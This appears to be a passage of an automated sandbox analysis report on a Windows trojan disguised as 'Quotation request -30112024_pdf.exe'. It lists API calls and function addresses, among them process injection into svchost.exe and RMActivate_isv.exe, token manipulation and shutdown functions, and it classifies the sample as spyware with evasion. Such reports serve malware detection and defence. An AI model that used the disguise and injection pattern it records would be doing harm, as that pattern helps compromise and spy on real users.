Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E291C0 NtClose,	11_2_02E291C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E29120 NtDeleteFile,	11_2_02E29120
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EF875 NtMapViewOfSection,	11_2_033EF875
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EF8D9 NtMapViewOfSection,NtMapViewOfSection,	11_2_033EF8D9

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

2_2_00431BE8

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

2_2_00446313

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

2_2_004333BE

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004096A0	2_2_004096A0
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0042200C	2_2_0042200C
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0041A217	2_2_0041A217
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00412216	2_2_00412216
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0042435D	2_2_0042435D
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004033C0	2_2_004033C0
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044F430	2_2_0044F430
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004125E8	2_2_004125E8
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044663B	2_2_0044663B
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00413801	2_2_00413801
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0042096F	2_2_0042096F
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004129D0	2_2_004129D0
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004119E3	2_2_004119E3
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0041C9AE	2_2_0041C9AE
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0047EA6F	2_2_0047EA6F
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0040FA10	2_2_0040FA10
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044EB5F	2_2_0044EB5F
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00423C81	2_2_00423C81
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00411E78	2_2_00411E78
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00442E0C	2_2_00442E0C
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00420EC0	2_2_00420EC0
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0044CF17	2_2_0044CF17
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00444FD2	2_2_00444FD2
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_03263678	2_2_03263678
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00418173	7_2_00418173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402869	7_2_00402869
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00401000	7_2_00401000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402827	7_2_00402827
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402830	7_2_00402830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040FA63	7_2_0040FA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00401200	7_2_00401200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00416370	7_2_00416370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00416373	7_2_00416373
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040FC83	7_2_0040FC83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00402D40	7_2_00402D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0040DD03	7_2_0040DD03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0042E7B3	7_2_0042E7B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E3F0	7_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D003E6	7_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFA352	7_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC02C0	7_2_03CC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF81CC	7_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D001AA	7_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC8158	7_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30100	7_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDA118	7_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3C7C0	7_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C64750	7_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40770	7_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5C6E0	7_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D00591	7_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40535	7_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEE4F6	7_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF2446	7_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4420	7_2_03CE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF6BD7	7_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFAB40	7_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3EA80	7_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D0A9A6	7_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C56962	7_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E8F0	7_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C268B8	7_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A840	7_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C42840	7_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32FC8	7_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4CFE0	7_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBEFA0	7_2_03CBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB4F40	7_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C82F28	7_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C60F30	7_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE2F30	7_2_03CE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFEEDB	7_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52E90	7_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFCE93	7_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40E59	7_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFEE26	7_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3ADE0	7_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C58DBF	7_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4AD00	7_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDCD1F	7_2_03CDCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30CF2	7_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0CB5	7_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C40C00	7_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C8739A	7_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2D34C	7_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF132D	7_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5B2C0	7_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE12ED	7_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C452A0	7_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4B1B0	7_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7516C	7_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2F172	7_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D0B16B	7_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEF0CC	7_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C470C0	7_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF70E9	7_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFF0E0	7_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFF7B0	7_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF16CC	7_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDD5B0	7_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF7571	7_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C31460	7_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFF43F	7_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB5BF0	7_2_03CB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7DBF9	7_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5FB80	7_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFFB76	7_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEDAC6	7_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDDAAC	7_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C85AA0	7_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE1AA3	7_2_03CE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFFA49	7_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF7A46	7_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB3A6C	7_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C49950	7_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5B950	7_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD5910	7_2_03CD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C438E0	7_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAD800	7_2_03CAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C03FD2	7_2_03C03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C03FD5	7_2_03C03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C41F92	7_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFFFB1	7_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFFF09	7_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C49EB0	7_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5FDC0	7_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C43D40	7_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF1D5A	7_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF7D73	7_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFFCF2	7_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB9C32	7_2_03CB9C32
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BA352	11_2_035BA352
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0350E3F0	11_2_0350E3F0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035C03E6	11_2_035C03E6
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A0274	11_2_035A0274
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035802C0	11_2_035802C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03588158	11_2_03588158
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0359A118	11_2_0359A118
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034F0100	11_2_034F0100
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B81CC	11_2_035B81CC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035C01AA	11_2_035C01AA
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B41A2	11_2_035B41A2
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03592000	11_2_03592000
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03524750	11_2_03524750
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03500770	11_2_03500770
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034FC7C0	11_2_034FC7C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0351C6E0	11_2_0351C6E0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03500535	11_2_03500535
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035C0591	11_2_035C0591
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B2446	11_2_035B2446
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A4420	11_2_035A4420
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035AE4F6	11_2_035AE4F6
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BAB40	11_2_035BAB40
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B6BD7	11_2_035B6BD7
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034FEA80	11_2_034FEA80
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03516962	11_2_03516962
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035029A0	11_2_035029A0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035CA9A6	11_2_035CA9A6
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0350A840	11_2_0350A840
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03502840	11_2_03502840
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0352E8F0	11_2_0352E8F0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034E68B8	11_2_034E68B8
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03574F40	11_2_03574F40
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03520F30	11_2_03520F30
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A2F30	11_2_035A2F30
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03542F28	11_2_03542F28
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034F2FC8	11_2_034F2FC8
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0350CFE0	11_2_0350CFE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0357EFA0	11_2_0357EFA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03500E59	11_2_03500E59
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BEE26	11_2_035BEE26
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BEEDB	11_2_035BEEDB
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03512E90	11_2_03512E90
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BCE93	11_2_035BCE93
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0359CD1F	11_2_0359CD1F
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0350AD00	11_2_0350AD00
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034FADE0	11_2_034FADE0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03518DBF	11_2_03518DBF
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03500C00	11_2_03500C00
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034F0CF2	11_2_034F0CF2
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A0CB5	11_2_035A0CB5
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034ED34C	11_2_034ED34C
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B132D	11_2_035B132D
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0354739A	11_2_0354739A
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0351B2C0	11_2_0351B2C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A12ED	11_2_035A12ED
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035052A0	11_2_035052A0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035CB16B	11_2_035CB16B
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034EF172	11_2_034EF172
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0353516C	11_2_0353516C
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0350B1B0	11_2_0350B1B0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035070C0	11_2_035070C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035AF0CC	11_2_035AF0CC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B70E9	11_2_035B70E9
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BF0E0	11_2_035BF0E0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BF7B0	11_2_035BF7B0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B16CC	11_2_035B16CC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B7571	11_2_035B7571
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0359D5B0	11_2_0359D5B0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_034F1460	11_2_034F1460
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BF43F	11_2_035BF43F
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BFB76	11_2_035BFB76
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03575BF0	11_2_03575BF0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0353DBF9	11_2_0353DBF9
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0351FB80	11_2_0351FB80
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BFA49	11_2_035BFA49
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B7A46	11_2_035B7A46
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03573A6C	11_2_03573A6C
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035ADAC6	11_2_035ADAC6
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03545AA0	11_2_03545AA0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0359DAAC	11_2_0359DAAC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035A1AA3	11_2_035A1AA3
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03509950	11_2_03509950
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0351B950	11_2_0351B950
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03595910	11_2_03595910
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0356D800	11_2_0356D800
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035038E0	11_2_035038E0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BFF09	11_2_035BFF09
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03501F92	11_2_03501F92
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BFFB1	11_2_035BFFB1
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03509EB0	11_2_03509EB0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B1D5A	11_2_035B1D5A
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03503D40	11_2_03503D40
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035B7D73	11_2_035B7D73
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_0351FDC0	11_2_0351FDC0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_03579C32	11_2_03579C32
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_035BFCF2	11_2_035BFCF2
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E11B60	11_2_02E11B60
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E0CAB0	11_2_02E0CAB0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E0CCD0	11_2_02E0CCD0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E0AD50	11_2_02E0AD50
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E133C0	11_2_02E133C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E133BD	11_2_02E133BD
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E151C0	11_2_02E151C0
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_02E2B800	11_2_02E2B800
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EE2EC	11_2_033EE2EC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033E019E	11_2_033E019E
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EE7CC	11_2_033EE7CC
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EE59B	11_2_033EE59B
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033EE433	11_2_033EE433
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033ECB38	11_2_033ECB38
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033ED863	11_2_033ED863
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: 11_2_033ED898	11_2_033ED898

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 277 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 86 times
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: String function: 00445AE0 appears 65 times
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: String function: 0356EA12 appears 86 times
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: String function: 03535130 appears 58 times
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: String function: 0357F290 appears 105 times
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: String function: 03547E54 appears 102 times
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Code function: String function: 034EB970 appears 277 times

Source: Quotation request -30112024_pdf.exe, 00000002.00000003.1298695264.00000000045BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Quotation request -30112024_pdf.exe
Source: Quotation request -30112024_pdf.exe, 00000002.00000003.1296967343.00000000043C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Quotation request -30112024_pdf.exe

Source: Quotation request -30112024_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@15/8

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0044AF6C GetLastError,FormatMessageW,

2_2_0044AF6C

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		2_2_004333BE
